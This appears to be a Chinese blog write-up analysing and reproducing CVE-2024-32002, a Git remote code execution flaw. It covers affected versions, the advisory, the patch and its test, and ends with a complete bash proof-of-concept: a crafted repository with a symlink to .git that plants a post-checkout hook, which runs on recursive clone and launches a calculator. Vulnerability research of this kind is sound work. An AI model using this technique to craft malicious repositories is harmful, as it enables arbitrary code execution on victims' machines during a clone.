5月18号的时候,国外安全研究员Amal Murali(@amalmurali47)放了一张截图,这引起了我的注意:
他对git RCE:CVE-2024-32002进行了分析,截图中git的日志输出打了码,让我没办法通过他的演示获取到更多的信息。最开始了解到这漏洞在mac上面可以触发,如果windows同样可以触发的话那影响面就变得更大了。本文将对windows平台的git RCE进行复现分析。
影响版本:
v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
修复版本:
v2.45.1 v2.44.1 v2.43.4 v2.42.2 v2.41.1 v2.40.2 v2.39.4
POC:
https://github.com/10cks/captain
当我分析这个洞时,市面上并没有出现poc,除了这个安全研究员发的漏洞复现截图外,我还看到了另一个安全研究发的图,不过是在mac os上进行复现的:
我提取出其中的日志信息:
$git clone --recursive git@github.com:markuta/test.git
cloning into test
remote:enumerating objects:18,done.
remote:counting objects:100%(18/18), done.
remote:compressing objects:100%(7/7),done.
remote: total 18 (delta 6), reused 14 (delta 4), pack-reused 0
receiving objects:100%(18/18),done.
resolving deltas:100%(6/6),done.
warning:the following paths have collided (e.g. case-sensitive paths
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
submodule'x/y' (git@github.com:markuta/hooky) registered for path 'A/modules/x'
cloning into '/users/naz/dev/test/a/modules/x'...
remote:enumerating objects:15,done.
remote:counting objects:100%(15/15),done.
remote:compressing objects:100%(8/8),done.
remote:total 15 (delta 1), reused 8(delta 0), pack-reused 0
receiving objects:100%(15/15),done.
resolving deltas:100%(1/1),done.
submodule path 'A/modules/x': checked out 'a8da5ef374374251fb81787292d64e52ffe802a3'
我推测比较关键的点在于:
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
结合漏洞通告:
Impact
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
Patches
The problem has been patched in the versions published on Tuesday, May 14th, 2024.
Workarounds
If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won't work.
As always, it is best to avoid cloning repositories from untrusted sources.
References
git clone --recurse-submodules
core.symlinks
具有子模块的存储库可以通过利用 Git 中的错误的方式来制作,从而可以欺骗它不将文件写入子模块的工作树,而是写入 .git/
目录。这允许编写一个在克隆操作仍在运行时执行的钩子,使用户没有机会检查正在执行的代码。
这里说的“错误的方式”指的是什么?
通过前面的日志我推测可能是目录识别时没有对同名但是大小写不同的目录名进行区别,最后导致了混淆。那么通过什么触发了这个问题呢?漏洞通告中给了recurse-submodules
和core.symlinks
这两个提示,这涉及到了子模块和符号链接。
git的子模块通俗来讲就是使用一个项目时可以递归引用另一个项目,在git clone时通过参数--recurse-submodules
就可以开启。
漏洞信息显示该漏洞会发生在windows和macOS上,但是没有unix系统。这是为什么?
因为windows和macOS的文件系统不区分大小写,比如我在windows上面新建了一个目录A,再新建一个目录a就会提示我们目录名称重复:
也就是说A/modules/x
和 a/modules/x
在windows上面被视为相同的路径。
我直接把日志丢给chatGPT,看看他是否存在什么思路:
可以看到思路是跟我的分析一致的,但是我让GPT尝试帮我构建poc,不出意外的失败了。只好自己动手接着分析补丁。
补丁涉及了两个文件:
第一个文件是补丁,第二个则是一个测试脚本。
我们分析补丁:
补丁新增了一个名为 dir_contains_only_dotgit
的函数,用来检查指定的目录中是否只包含 .git 文件夹。这是一个关键的功能,因为它增加了对仓库目录的额外验证,确保在进行某些操作之前目录是预期的状态。
然后在执行克隆之前增加了一个检查,来确保目录是空的或者仅包含.git
目录。如果不为空并且不仅仅包含.git
目录,就会终止操作。
至于第二个文件,则是一个测试脚本,也就是我们来进行复现使用的关键信息都在里面,用于验证 Git 在处理包含符号链接的子模块路径时的行为。
其中的关键代码为:
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
hook
)tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
代码内容含义为:新建hook/y/hooks/post-checkout
文件然后写入下面内容后提交:
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
post-checkout 文件是什么?
post-checkout 是 Git 中的一种钩子(hook)。Git hooks 是一些脚本,允许你在特定的事件发生时执行自定义操作。post-checkout 钩子在以下情况之后被调用:
成功运行 git clone 命令。
成功运行 git checkout 命令。
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
添加子模块:
hook_repo_path
设置上面hook仓库的路径,使用git submodule add --name x/y "$hook_repo_path" A/modules/x
把hook仓库中的子模块添加到captain仓库中,子模块的名字是 x/y
,路径是 A/modules/x
创建符号链接并提交:
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
这部分我们构造poc需要做的就是git clone --recursive captain hooked 2>err &&
经过上面的详细分析,如何构造poc也就一目了然了。当我尝试构造poc后,会出现报错:
$ git clone --recursive git@github.com:10cks/CVE-2024-32002-submod.git test
Cloning into 'test'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0
Receiving objects: 100% (8/8), done.
Resolving deltas: 100% (1/1), done.
warning: the following paths have collided (e.g. case-sensitive paths
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
Submodule 'x/y' (git@github.com:10cks/CVE-2024-32002-hulk.git) registered for path 'A/modules/x'
fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory
fatal: clone of 'git@github.com:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed
Failed to clone 'A/modules/x'. Retry scheduled
fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory
fatal: clone of 'git@github.com:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed
Failed to clone 'A/modules/x' a second time, aborting
通过邮件咨询,我才知道即使在windows上开启了符号链接选项,仍需以管理员权限运行才能够正确的执行符号链接。这也是为什么我花了两天时间一直没有在windows上成功实现任意代码执行的原因。
除此之外,不能通过手动修改.gitmodules
的方式来对子模块进行设置,会导致远程仓库无法正确进行递归。我们需要在生成.gitmodules
前就对其进行修改,并且协议需要保持一致:
git submodule add --name x/y "远程子模块仓库" A/modules/x
最后完整的poc在5月20号被Amal Murali放出,到这里关于git RCE的分析也就告一段段落了:
#!/bin/bash
# 设置 Git 配置选项
git config --global protocol.file.allow always
git config --global core.symlinks true
# 避免警告消息(设置默认分叉为main)
git config --global init.defaultBranch main
# 定义 tell-tale 路径
tell_tale_path="$PWD/tell.tale"
# 初始化 hook 仓库
git init hook
cd hook
mkdir -p y/hooks
# 将恶意代码写入 hook,适配windows环境与mac环境
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# 使 hook 可执行:重要
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# 定义 hook 仓库路径
hook_repo_path="$(pwd)/hook"
# 初始化 captain 仓库
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# 创建符号链接
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# 本地测试,传到github无需使用此功能
git clone --recursive captain hooked
运行git clone --recursive git@github.com:10cks/captain.git GIT-RCE
后就可以RCE了:
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!